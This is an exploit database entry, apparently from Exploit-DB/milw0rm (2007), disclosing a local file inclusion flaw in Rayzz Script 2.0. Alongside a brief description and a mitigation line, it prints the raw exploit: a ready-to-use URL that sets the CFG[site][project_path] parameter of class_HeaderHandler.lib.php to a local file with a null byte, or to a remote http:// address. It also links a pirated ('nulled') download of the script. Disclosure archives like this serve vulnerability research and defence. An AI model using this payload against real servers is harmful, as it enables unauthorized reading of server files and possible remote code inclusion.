Rayzz Script 2.0 Local File Inclusion Vulnerability

vendor:

Rayzz Script

by:

Crackers_Child

5.5

CVSS

MEDIUM

Local File Inclusion

CWE

Product Name: Rayzz Script

Affected Version From: Rayzz Script 2.0

Affected Version To: Rayzz Script 2.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Rayzz Script 2.0 Local File Inclusion Vulnerability

This exploit allows an attacker to include local files on the server by manipulating the 'CFG[site][project_path]' parameter in the 'class_HeaderHandler.lib.php' file. The exploit can be accessed through the URL 'http://[Taget]/[script_path]/common/classes/class_HeaderHandler.lib.php?CFG[site][project_path]=localfile%00 / remote http://'.

Mitigation:

The vendor should release a patch to fix the vulnerability. In the meantime, users can mitigate the risk by implementing proper input validation and sanitization to prevent unauthorized file inclusion.

Source

Exploit-DB raw data:

+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Rayzz Script 2.0
*    [~] Download.....:       http://rapidshare.com/files/40333745/rayzz_new_6726.rar  (Nulled)
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Local File Inclusion
*    [~] Demo.........:       http://rayzz.net/rayzzdemo/
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Lfi...: http://[Taget]/[script_path]/common/classes/class_HeaderHandler.lib.php?CFG[site][project_path]=localfile%00 / remote http://
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] iNF0......:   F3CK Y0UR simple Lf3
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-12-01]